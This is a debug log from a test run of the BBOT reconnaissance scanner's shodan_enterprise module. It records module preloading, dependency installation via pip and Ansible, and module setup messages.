19:05:50,681 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:05:50,682 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:05:50,682 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:05:50,683 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:05:50,684 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:05:50,684 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:05:50,685 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:05:50,685 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:05:50,686 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:05:50,687 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:05:50,688 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:05:50,689 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:05:50,689 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:05:50,690 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:05:50,691 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:05:50,691 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:05:50,692 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:05:50,693 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:05:50,694 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:05:50,694 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:05:50,695 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:05:50,696 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:05:50,696 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:05:50,697 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:05:50,698 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:05:50,699 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:05:50,699 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:05:51,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:05:51,783 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:05:51,784 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:05:51,926 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:05:52,489 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:05:52,490 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:05:52,490 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:05:52,490 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:05:52,690 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:05:52,691 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:05:52,800 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:05:52,800 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:05:52,856 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:05:52,859 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:05:52,859 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:05:53,273 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:05:53,274 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 19:05:56,365 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 19:05:56,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 19:05:56,366 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 19:05:58,194 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 19:05:58,195 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 19:05:58,200 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:05:58,200 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 19:05:58,201 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:05:58,201 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 19:05:58,201 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 19:05:58,202 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 19:05:58,206 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/yye5s2zuf0cvb5nasp5i +2026-02-27 19:05:59,040 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 19:05:59,041 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 19:05:59,041 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 19:05:59,042 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 19:05:59,043 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 19:05:59,161 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 19:05:59,162 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 19:05:59,162 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 19:05:59,163 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 19:05:59,164 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 19:05:59,164 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 19:05:59,164 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 19:05:59,165 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 19:05:59,166 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 19:05:59,166 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 19:05:59,167 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 19:05:59,167 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 19:05:59,168 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 19:05:59,168 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 19:05:59,169 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 19:05:59,169 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 19:05:59,169 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 19:05:59,170 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 19:05:59,170 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 19:05:59,170 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 19:05:59,171 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 19:05:59,171 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 19:05:59,172 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 19:05:59,173 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 19:05:59,173 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 19:05:59,173 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 19:05:59,173 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:05:59,306 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:05:59,307 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:06:48,188 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:06:48,201 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:06:48,202 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:06:48,203 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:06:48,205 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:06:48,206 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:06:48,207 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:06:48,207 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:06:48,208 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:06:48,209 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:06:48,210 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:06:48,211 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:06:48,211 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:06:48,212 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:06:48,213 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:06:48,213 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:06:48,214 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:06:48,215 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:06:48,216 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:06:48,217 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:06:48,218 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:06:48,219 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:06:48,220 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:06:48,221 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:06:48,222 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:06:48,223 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:06:48,224 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:06:48,225 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:06:48,226 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:06:48,226 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:06:48,227 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:06:48,228 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:06:48,229 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:06:48,230 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:06:48,231 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:06:48,232 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:06:48,233 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:06:48,234 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:06:48,235 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:06:48,236 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:06:48,236 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:06:48,238 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:06:48,239 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:06:48,241 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:06:48,242 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:06:48,246 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:06:48,247 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:06:48,249 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:06:48,250 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:06:48,251 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:06:48,252 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:06:48,254 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:06:48,255 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:06:48,256 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:06:48,257 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:06:48,258 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:06:48,259 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:06:48,260 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:06:48,261 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:06:48,262 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:06:48,263 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:06:48,263 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:06:48,264 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:06:48,265 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:06:48,266 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:06:48,266 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:06:48,271 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:06:48,272 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:06:48,273 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:06:48,274 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:06:48,275 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:06:48,276 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:06:48,276 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:06:48,277 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:06:48,278 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:06:48,279 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:06:48,280 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:06:48,280 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:06:48,281 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:06:48,282 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:06:48,283 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:06:48,284 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:06:48,284 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:06:48,285 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:06:48,286 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:06:48,286 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:06:48,287 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:06:48,288 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:06:48,289 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:06:48,290 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:06:48,290 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:06:48,291 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:06:48,297 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:06:48,298 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:06:48,300 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:06:48,301 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:06:48,302 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:06:48,303 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:06:48,304 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:06:48,305 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:06:48,305 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:06:48,306 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:06:48,308 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:06:48,309 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:06:48,310 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:06:48,310 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:06:48,311 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:06:48,312 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:06:48,313 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:06:48,314 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:06:48,315 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:06:48,315 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:06:48,316 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:06:48,317 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:06:48,318 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:06:48,319 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:06:48,320 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:06:48,321 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:06:48,321 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:06:48,323 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:06:48,324 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:06:48,325 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:06:48,326 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:06:48,327 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:06:48,327 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:06:48,328 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:06:48,329 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:06:48,330 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:06:48,331 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:06:48,331 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:06:48,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:06:48,333 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:06:48,334 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:06:48,335 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:06:48,338 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:06:48,339 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:06:48,340 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:06:48,342 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:06:48,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:06:48,344 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:06:48,345 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:06:48,347 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:06:48,349 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:06:48,350 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:06:48,352 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:06:48,354 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:06:48,356 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:06:48,357 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache 